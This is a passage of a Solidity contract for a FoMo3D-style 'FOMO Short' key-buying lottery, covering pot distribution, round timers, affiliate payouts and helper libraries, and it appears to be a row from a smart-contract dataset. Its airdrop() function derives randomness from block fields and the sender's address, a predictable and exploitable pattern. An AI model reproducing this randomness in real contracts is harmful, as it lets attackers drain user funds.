_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 975 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.